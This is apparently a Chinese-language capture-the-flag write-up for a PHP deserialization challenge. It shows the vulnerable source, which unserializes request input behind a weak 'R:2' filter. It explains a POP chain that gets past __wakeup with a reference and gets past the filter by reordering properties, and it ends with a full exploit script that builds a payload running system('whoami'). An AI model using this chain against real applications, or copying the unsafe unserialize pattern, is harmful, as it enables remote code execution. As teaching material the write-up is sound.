php
<?php
show_source('index.php');
class MGkk8
{
public $a;
public $b;
public function rpl2()
{
echo('MGrp12;');
$b = $this->b;
if ($this->a == "RPG") {
echo('ifyes;');
($b->a)($b->b."");
echo('evalyes;');
}
}
}
class KOkjs
{
public $a;
public $b;
public function __toString()
{
echo('kotostring');
$this->a->rpl2();
}
}
class u1Y7U
{
public $a;
public $b;
public function __toString()
{
$this->a->TiYM6();
}
}
class QMRb7
{
public $a;
public $b;
public function TiYM6()
{
$this->b->learn();
}
}
class y97pu
{
public $a;
public $b;
public $c;
public function __invoke()
{
$this->a = $this->b."__INVOKE__";
}
public function __destruct(){
echo('destruct;');
$this->b = $this->c;
die($this->a);
}
public function __wakeup()
{
echo('wakeup;');
$this->a = "";
echo('wakeupgo');
}
}
class m1_99
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}
if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
if(stripos($c,'R:2')!== false){
die("no Reference");
}
unserialize($c);
}else {
highlight_file(__FILE__);
}
pop链的构造
本题关键代码点
php
$this->b = $this->c;
die($this->a);
构造pop链的起点很明显是KOkjs的tostring方法,我们想进tostring就想办法把关键代码点中的$this->a赋值成一个实例
但是由于wakeup方法会把$this->a变成空白,所以我们要想办法绕过wakeup
这里常规方法都是无法绕过的,所以考虑地址相等绕过
php
$this->b = &$this->a
$this->c = new KOkjs();
这样我们保证了变量a和b指向同一个地址,调用wakeup也不会把a赋值为空。
同时变量c赋值为类KOkjs类的实例化对象,通过this−>b=this->b=this−>b=this->c把b赋值为类的实例化对象,然后通过变量a和b指向同一个地址,把$this->a赋值为类的实例化对象,那么die实例化对象时就是把这个实例化对象当作字符串输出,调用tostring方法,链子就走下去了。
php
$a = new y97pu();
$a->a = new KOkjs();
$a->b = &$a->a;
$a->c = new KOkjs();
$a->c->a = new MGkk8();
$a->c->a->b= new MGkk8;
$a->c->a->b->a = "system";
$a->c->a->b->b = "whoami";
$a->c->a->a="RPG";
echo(serialize($a));
R:2的绕过
这时我们会发现一个问题,这样输出的序列化字符串中会含有R:2,而题目中把这个R:2ban掉了,为了绕过这一步过滤我们需要了解一下R:2的含义
R:2
的含义
R:n
表示引用(reference)到第 n 个已定义的变量。- 这里的
2
指的是 序列化时顺序编号的第 2 个元素。 - PHP 在反序列化时会把
R:2
解析成一个"引用"而不是新建的副本,也就是说它和第 2 个位置的值是同一个引用。
序列化编号规则
- 序列化时,每遇到一个新值(对象、数组、字符串等),PHP 会从 1 开始依次编号。
- 后面如果遇到
R:x
,就是对前面编号为x
的元素的引用。
所以我们跟着pop链来走一下
结构分析
-
编号 1
O:5:"y97pu":3:{ ... }
→ 一个类名为 y97pu
的对象,里面有 3 个属性:a
、b
、c
。
-
编号 2
O:5:"KOkjs":2:{
s:1:"a";N;
s:1:"b";N;
} -
属性
b
R:2
→ 引用编号 2 的对象,也就是上面那个 KOkjs(a=null,b=null)
。
所以 y97pu->b
和 y97pu->a
指向同一个对象。
所以我们只要改变一下y97pu中变量abc的顺序就可以了
php
class y97pu
{
public $c;
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b."__INVOKE__";
}
public function __destruct(){
$this->b = $this->c;
die($this->a);
}
public function __wakeup()
{
$this->a = "";
}
}
为什么这样会变成R:9
用第二个脚本(class y97pu { public $a; public $b; public $c; }
)为例,序列化时典型"遇到顺序"(只列出对象类型节点)大致是:
y97pu
(根对象) --- 分配 id=1y97pu->a
(第一个KOkjs
) --- 分配 id=2y97pu->c
(第二个KOkjs
) --- 分配 id=3y97pu->c->a
(第一个MGkk8
) --- id=4y97pu->c->a->b
(第二个MGkk8
) --- id=5
-> 此时y97pu->b
是对第 2 个节点(y97pu->a
)的引用,所以写成R:2
。
把 y97pu
的属性声明顺序改为 c,a,b
,序列化的"遇到顺序"会变成先序列化 c
分支里的对象,导致那个原来属于 a
的 KOkjs
在序列化流中出现得更晚,从而获得一个更大的编号(你环境中是 9
)。
注意:上面我列出的是"对象节点"的遇到顺序;PHP 内部可能还会对其它可引用项(某些标量或内部 zval)计编号,这会让最终的数字看起来更大一些,但本质不变 ------ 编号取决于遇到的先后顺序。
完整exp
php
<?php
error_reporting(0);
class MGkk8
{
public $a;
public $b;
public function rpl2()
{
$b = $this->b;
if ($this->a == "RPG") {
($b->a)($b->b."");
}
}
}
class KOkjs
{
public $b;
public $a;
public function __toString()
{
$this->a->rpl2();
}
}
class u1Y7U
{
public $a;
public $b;
public function __toString()
{
$this->a->TiYM6();
}
}
class QMRb7
{
public $a;
public $b;
public function TiYM6()
{
$this->b->learn();
}
}
class y97pu
{
public $c;
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b."__INVOKE__";
}
public function __destruct(){
$this->b = $this->c;
die($this->a);
}
public function __wakeup()
{
$this->a = "";
}
}
class m1_99
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}
if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
if(stripos($c,'R:2')!== false){
die("no Reference");
}
unserialize($c);
}else {
}
$a = new y97pu();
$a->a = new KOkjs();
$a->b = &$a->a;
$a->c = new KOkjs();
$a->c->a = new MGkk8();
$a->c->a->b= new MGkk8;
$a->c->a->b->a = "system";
$a->c->a->b->b = "whoami";
$a->c->a->a="RPG";
//echo($a);
echo(serialize($a));